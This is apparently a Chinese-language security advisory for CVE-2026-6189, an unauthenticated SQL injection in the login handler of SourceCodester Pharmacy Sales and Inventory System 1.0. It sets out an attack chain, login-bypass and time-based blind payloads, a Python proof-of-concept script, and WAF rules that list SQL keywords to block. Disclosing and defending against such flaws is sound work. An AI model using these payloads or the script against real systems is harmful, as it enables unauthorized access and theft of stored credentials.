IPBUF安全漏洞报告
English
CVE-2026-6189 CVSS 7.3 高危

CVE-2026-6189 SourceCodester药房系统SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-6189
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入SourceCodesterPharmacy System远程攻击Web安全

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本被发现存在SQL注入漏洞。受影响组件为/ajax.php?action=login文件中的登录处理功能。由于系统未对用户输入的Username参数进行充分的过滤或转义,导致攻击者可远程构造恶意SQL语句。利用该漏洞可能导致数据库敏感信息泄露,并对系统的机密性、完整性和可用性造成影响。

技术细节

该漏洞发生在SourceCodester药房销售与库存管理系统的登录模块中。当系统处理/ajax.php?action=login请求时,直接获取了POST参数中的Username值,并将其动态拼接到后台SQL查询语句中,缺乏预编译机制或有效的输入验证。由于CVSS向量显示无需用户交互(UI:N)且无需认证(PR:N),攻击者可以在未登录状态下直接向该接口发送特制的数据包。通过注入SQL语法(如单引号闭合、UNION查询或基于时间的盲注语句),攻击者可以操纵数据库逻辑,绕过登录验证或窃取数据库中的用户凭证等敏感数据。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行SourceCodester Pharmacy Sales and Inventory System 1.0版本,并定位登录接口/ajax.php?action=login。
STEP 2
构造
攻击者构造恶意SQL注入Payload,针对Username参数进行设计,例如使用' OR '1'='1进行逻辑绕过或使用SLEEP()函数进行盲注测试。
STEP 3
注入
攻击者向目标服务器发送特制的HTTP POST请求,将包含恶意SQL代码的Username参数发送至/ajax.php接口。
STEP 4
执行
服务器后端未过滤输入,直接执行了恶意SQL语句。攻击者根据响应内容或响应时间判断数据库结构,并提取敏感数据或获取系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): """Check for SQL Injection vulnerability in CVE-2026-6189""" target_url = f"{url}/ajax.php?action=login" # Payload for time-based blind SQL injection # This payload attempts to cause a delay of 5 seconds if the database is vulnerable payload = { "Username": "admin' AND (SELECT SLEEP(5))-- -", "Password": "randompassword" } try: print(f"[+] Sending request to {target_url}...") response = requests.post(target_url, data=payload, timeout=10) # Analyze response time (simplified check) # In a real scenario, compare time delta accurately if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Server response delayed.") else: print("[-] Vulnerability not confirmed or server response too fast.") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,建议管理员在Web服务器前端的WAF设备上配置规则,拦截针对/ajax.php?action=login接口的异常请求,特别是包含单引号、注释符(--)或特定SQL关键字(UNION, SELECT, SLEEP)的流量。同时,应限制对登录接口的访问频率,防止自动化工具的暴力探测和利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表